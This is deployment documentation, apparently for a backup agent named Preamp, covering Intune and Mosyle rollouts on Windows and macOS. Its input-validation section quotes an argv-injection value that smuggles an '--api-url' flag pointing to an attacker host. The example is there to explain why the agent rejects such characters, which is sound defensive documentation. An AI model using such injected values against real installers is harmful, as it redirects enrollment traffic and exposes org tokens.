Intune & Mosyle deployment
This guide covers three deployment paths:
- Windows via Intune. The
.msicarries three MSI properties (PREAMP_ORG_TOKEN,PREAMP_USER_EMAIL,PREAMP_USER_NAME) that the installer’sEnrollManagedCustom Action substitutes intopreamp.exe enrollat install time. - macOS via Intune. An Intune shell-script payload writes
/etc/preamp/bootstrap.envbefore the.pkginstalls; the .pkg postinstall consumes it. - macOS via Mosyle. Same shape as Intune-on-macOS, with Mosyle’s Custom Script + Custom Pkg payloads.
All three converge on the same server-side identity contract: an email from a domain verified for your org gets attributed to a real person on the Workforce tab; everything else lands in the per-org unattributed bucket.
Prerequisites
- Preamp admin console access (to generate an enrollment token).
- The relevant signed package:
- Windows:
Preamp-<version>-x64.msifrom Package downloads. - macOS:
preamp-managed-<version>.pkgfrom Package downloads.
- Windows:
- For macOS deployments via Intune or Mosyle: a Developer ID Installer certificate available for signing the PPPC
.mobileconfig(neither Intune nor Mosyle signs profiles for you). See the PPPC profile guide. - At least one verified domain for your org under
app.preamp.ai → Settings → Domains. Without it, devices still back up but land in the per-org unattributed bucket on the Workforce tab.
Windows via Intune
A complete Intune Windows rollout requires:
- The signed
Preamp-<version>-x64.msiuploaded as a Win32 app (recommended) or Line-of-business app. - An install command line with three MSI properties that carry the org token and the assigned user’s email.
The MSI is Scope="perUser"; the EnrollManaged Custom Action invokes preamp.exe enroll in the installing user’s context with the property values substituted as flags. No registry payload, no Group Policy, no separate Configuration Profile needed for enrollment.
Steps
-
Generate an enrollment token in the Preamp admin console (https://app.preamp.ai/org/fleet/devices?tab=enrollment). Copy it immediately, the plaintext is shown only once.
-
Add the MSI to Intune. Apps → Windows → Add → Win32 app (or Line-of-business app), upload
Preamp-<version>-x64.msi. -
Set the install command line with the three properties:
msiexec /i Preamp-<version>-x64.msi PREAMP_ORG_TOKEN=<token> PREAMP_USER_EMAIL=<email> PREAMP_USER_NAME="<name>" /qnProperty Required Notes PREAMP_ORG_TOKENyes The token from step 1. Hidden="yes"on the MSI property andHideTarget="yes"on the Custom Action keep it out ofmsiexec /l*vverbose install logs. Still appears in Intune deployment logs; rotate viaapp.preamp.ai → Settings → Enrollment tokens → Revokeif exposed.PREAMP_USER_EMAILrecommended Must be a verified-domain address for per-person attribution. Use Intune’s user-substitution token (typically {{userprincipalname}}for Win32 app assigned-user deployments).Hidden="yes"keeps the email out of MSI logs.PREAMP_USER_NAMEoptional Display name. Use {{username}}or similar in Intune.Hidden="yes". Quote the value with double quotes because display names commonly contain spaces. -
Set the assignment to the target group. For per-user attribution to work, assign to users (not devices); the Intune substitution tokens resolve to the assigned user.
-
Verify token substitution in a test ring before broad rollout. Intune’s substitution tokens vary across tenant configurations. Treat unresolved tokens (literal
{{...}}strings reaching the installer) as a configuration bug: the device either fails to enroll or lands in the unattributed bucket.
Forbidden characters in property values
For defense in depth against argv-injection (a malicious display name like evil" --api-url="http://attacker.com" could otherwise close the quoted MSI arg and inject extra flags), the agent rejects values containing double-quote, carriage-return, or line-feed in --org-token, --user-email, --user-name, or --device-name. The agent also rejects an explicit --api-url override whenever --org-token is present (the Windows argv parser strips the closing " of a quote-injection before Cobra parsing, so the per-flag check needs a second layer that catches the injected flag itself).
Legitimate display names with apostrophes, accented characters, hyphens, or parentheses are unaffected. If your Intune substitution token resolves to a value containing one of the forbidden characters, treat it as a configuration bug.
macOS via Intune
A complete Intune macOS rollout requires:
- A Shell script payload that writes
/etc/preamp/bootstrap.env. - The managed
.pkg, deployed via a Line-of-business app. - A signed PPPC profile granting Full Disk Access.
An optional Configuration Profile with preference domain ai.preamp tunes runtime settings (schedule, full-backup interval, allow-uninstall, custom apiUrl); not required for enrollment.
Steps
-
Generate an enrollment token in the Preamp admin console (https://app.preamp.ai/org/fleet/devices?tab=enrollment). Copy it immediately.
-
Add the bootstrap shell script. Devices → macOS → Shell scripts → Add. Set Run script as signed-in user: No (the script writes to
/etc/preampas root). Paste this body:#!/bin/bash set -euo pipefail TOK="REPLACE_WITH_ORG_TOKEN" EM="REPLACE_WITH_EMAIL_VARIABLE" # e.g. the user's primary email from Intune NM="REPLACE_WITH_NAME_VARIABLE" # optional display name if [[ -z "$TOK" ]]; then echo "preamp bootstrap: org token is required" >&2 exit 1 fi mkdir -p /etc/preamp chmod 0700 /etc/preamp umask 077 { printf 'PREAMP_ORG_TOKEN=%s\n' "$TOK" printf 'PREAMP_USER_EMAIL=%s\n' "$EM" printf 'PREAMP_USER_NAME=%s\n' "$NM" } > /etc/preamp/bootstrap.env chmod 0600 /etc/preamp/bootstrap.envReplace the three placeholder values with the token from step 1 and your Intune substitution variables for the assigned user’s email and display name. Intune for macOS does not expose substitution tokens inside shell-script payloads in the same way as the Windows MSI flow; if your tenant configuration requires it, generate per-user scripts via a Graph API workflow or use a static script per cohort.
-
Upload the managed
.pkg. Devices → macOS → Apps → Line-of-business app. Uploadpreamp-managed-<version>.pkg. -
Order the assignment. The shell script must run before the .pkg install. Intune does not expose a script→app ordering primitive directly; use either a dependency chain (assign the script to the group with Required trigger first, then assign the app with a delay), or add a file-based detection script to the LoB app that checks for the presence of
/etc/preamp/bootstrap.envbefore installing. -
PPPC profile. Sign the PPPC
.mobileconfigtemplate (installers/macos/pppc-template.xmlfrom the agent repo) with a Developer ID Installer cert; upload to Intune as a custom configuration profile. See the PPPC profile guide. -
(Optional) Tune runtime settings via Configuration Profile. Intune → Devices → macOS → Configuration → Preference file payload with domain
ai.preamp. Keys from the managed preferences reference.
macOS via Mosyle
Mosyle mirrors the Intune-on-macOS flow:
-
Generate an enrollment token in the Preamp admin console.
-
Create a Custom Pkg in Mosyle for
preamp-managed-<version>.pkg. In the Pre-install script field, paste the same bash body as the Intune-on-macOS step above (with the three placeholder values filled in). Mosyle’s variable substitution syntax for assigned-user attributes is%UserVariable%-shaped; consult Mosyle’s documentation for the current syntax in your tenant. -
Upload the signed PPPC profile as a Custom Profile.
-
Assign all three to the same device group (Custom Pkg, PPPC profile, and any optional managed-prefs profile).
-
(Optional) Tune runtime settings. Create a Custom Profile with preference domain
ai.preampand the keys from the managed preferences reference.
Verification
After deployment:
- Windows: the agent appears in Settings → Apps → Installed apps as “Preamp”; the device shows up on
app.preamp.ai/org/inventory/workforceunder the assigned user. - macOS:
/etc/preamp/bootstrap.envis absent (the postinstall deletes it on successful enroll). The agent appears in System Settings → Privacy & Security → Full Disk Access with a grey toggle. The device shows up under the assigned user on Workforce. - Both platforms: if the device lands under Unattributed devices instead of a named person, the assigned user’s email domain isn’t in the org’s verified-domains list. Add it under
app.preamp.ai → Settings → Domainsand retry; the next policy run re-attributes the device.
Failure modes
PREAMP_ORG_TOKENempty (Windows). TheEnrollManagedCustom Action is conditioned on the property being non-empty, so it doesn’t fire. The install completes; the agent is installed but unenrolled.- Console user is
rootat install time (macOS). Postinstall logsno console user; deferring enroll until next policy runand leaves the bootstrap file in place. The next policy run picks it up. - Enroll returns non-zero. Common causes: bad / expired / revoked org token, unresolved Intune or Mosyle substitution token reaching the installer, network failure reaching
api.preamp.ai, or a forbidden character in a property value (Windows). Logs: Intune deployment report for the failure signal;%APPDATA%\Preamp\preamp.log(Windows, per-user) or the policy run log (macOS) for the actual error text. Re-running the policy after fixing the input re-attempts cleanly becausepreamp enrollis idempotent. - Successful but unattributed. Email domain isn’t verified for the org. Enroll exits zero, the device backs up normally, but it attaches to the unattributed bucket. Verify domains, re-deploy.
Uninstall
- Windows: remove the app assignment in Intune. The MSI’s standard uninstall path removes
preamp.exe, the Scheduled Task, and the per-user data tree. - macOS: upload
preamp-uninstaller-<version>.pkgas a separate Line-of-business app (Intune) or Custom Pkg (Mosyle), assign to the devices being decommissioned. The uninstallerpkgutil --forgets itself so repeated runs are safe.
Trust note
The org token is sensitive. Surfaces where it appears:
- Windows MSI verbose log (
msiexec /l*v): redacted viaHidden="yes"on the property andHideTarget="yes"on the Custom Action. preamp.exeargv (Windows): the property values appear in the substituted CLI args for the duration of the enroll call (typically sub-second). Briefly visible to any tool sampling process command lines at that moment, e.g. PowerShell(Get-CimInstance Win32_Process -Filter "name='preamp.exe'").CommandLineor Sysinternals Process Explorer. (Note:wmicis deprecated in Windows 11 and may not be available; the Get-CimInstance form is the modern equivalent.)- macOS shell-script payload: the token is in the script body itself, stored in your Intune or Mosyle tenant and visible to anyone with read access to the policy. Treat the policy like any other secret-bearing configuration.
- Intune / Mosyle install logs: the token appears in your tenant’s deployment log unless you configure log filtering. Rotate the token via
app.preamp.ai → Settings → Enrollment tokens → Revokeif exposed.